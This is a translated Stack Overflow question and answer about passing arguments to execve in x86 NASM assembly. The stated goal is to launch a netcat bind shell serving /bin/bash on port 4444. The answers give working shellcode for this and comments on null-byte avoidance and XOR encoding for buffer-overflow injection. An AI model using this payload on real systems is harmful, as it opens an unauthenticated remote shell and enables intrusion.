【问题标题】:What is proper way to call execve with arguments in assembly?在汇编中使用参数调用 execve 的正确方法是什么?
【发布时间】:2019-02-09 18:45:00
【问题描述】:

我正在尝试使用execve 执行以下操作:/bin//nc -lnke /bin/bash -p 4444

阅读execve 的手册页时,我看到以下要求:

int execve(const char *filename, char *const argv[],
                  char *const envp[]);

我遇到的问题是将参数推送到argv;我不明白你如何推动一个数组(在汇编中)以使其正常工作。

我目前使用的程序集如下:

global _start

_start:
    xor eax, eax

    ; command
    push eax
    push 0x636e2f2f
    push 0x6e69622f
    mov ebx, esp

    ; args
    push eax
    push 0x34343434
    push 0x20702d20
    push 0x68736162
    push 0x2f6e6962
    push 0x2f20656b
    push 0x6e6c2d20
    mov ecx, esp

    ; null, arg 1
    push eax
    mov edx, esp

    ; push to stack
    push edx
    push ecx
    push ebx

    ; command
    mov al, 11
    int 0x80

这会导致将以下内容传递给execve

$ strace -f -e execve -s 10000 ./bind 
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)

如何使用程序集正确传递这些参数?

我正在使用带有nasm的Linux

【问题讨论】:

  • 您为哪个操作系统编程?
  • 我在我的答案中添加了一些关于如何在 shellcode 中执行此操作的信息。如果它解决了您可能有的任何疑问,请告诉我。

标签: linux assembly nasm shellcode execve


【解决方案1】:

在 C 中,数组被隐式转换为指向其第一个元素的指针。因此,在您的情况下,您需要将指针传递给指向字符串的指针数组。每个数组都以空指针终止。每个字符串都以 NUL 字节结束。系统调用的参数在ebxecxedx等中传递,系统调用号在eax中。像这样:

        section .data
        ; strings
arg0    db "/bin//nc",0
arg1    db "-lnke",0
arg2    db "/bin/bash",0
arg3    db "-p",0
arg4    db "4444",0

        ; arrays
        align 4
argv    dd arg0, arg1, arg2, arg3, arg4, 0
envp    dd 0

        section .text
        global _start
_start: mov eax, 11   ; SYS_execve
        mov ebx, arg0 ; filanem
        mov ecx, argv ; argv
        mov edx, envp ; envp
        int 0x80      ; syscall

我不确定您正在为哪个操作系统编程。此示例假设 Linux。

如果由于某种原因无法使用数据段,请按以下步骤操作:

        ; for easier addressing
        mov ebp, esp

        ; push strings

        xor eax, eax
        push eax          ; - 4    
        push "4444"       ; - 8
        push "\0-p\0"     ; -12
        push "bash"       ; -16
        push "bin/"       ; -20
        push "ke\0/"      ; -24
        push "\0-ln"      ; -28
        push "//nc"       ; -32
        push "/bin"       ; -36

        ; push argv, right to left
        xor eax, eax
        push eax          ; NULL
        lea ebx, [ebp-8]
        push ebx          ; "4444\0"
        lea ebx, [ebp-11]
        push ebx          ; "-p\0"
        lea ebx, [ebp-21]
        push ebx          ; "/bin/bash\0"
        lea ebx, [ebp-27]
        push ebx          ; "-lnke\0"
        lea ebx, [ebp-36] ; filename
        push ebx          ; "/bin//nc\0"
        mov ecx, esp      ; argv
        lea edx, [ebp-4]  ; envp (NULL)

        mov al, 11        ; SYS_execve
        int 0x80

如果您的数据中不能包含空字节,无论出于何种原因,您都需要事先进行一些隐藏。例如,您可以将每个字节与 0x80 异或,然后再将堆栈上的数据与 0x80 异或。

【讨论】:

  • +1,它仍然通过清楚地显示额外的间接级别来回答问题。 @user1529891:对于 shellcode,在推送字符串数据后,我将使用 lea edx, [esp+??]/ push edx / sub edx, 8 / push edx / ... 创建指针数组(如果你的增量是 4 的倍数使用 4 字节推送完成所有操作,包括零终止符。)
  • shellcode 的一个正常要求是机器代码不包含任何00 字节,因此strcpy 在溢出缓冲区时不会停止。立即包含"\0" 不起作用;这就是为什么你在xor eax,eaxpush eax 需要一些零的地方,或者使用push imm8。这也是为什么你用多余的// 填充路径以使它们成为 4 字节的倍数。
  • @PeterCordes 我在最后一句话中解决了这个问题。
猜你喜欢
  • 1970-01-01
  • 2018-06-18
  • 1970-01-01
  • 2010-11-27
  • 1970-01-01
  • 2013-03-02
  • 2012-05-23
  • 2011-11-19
  • 1970-01-01
相关资源
最近更新 更多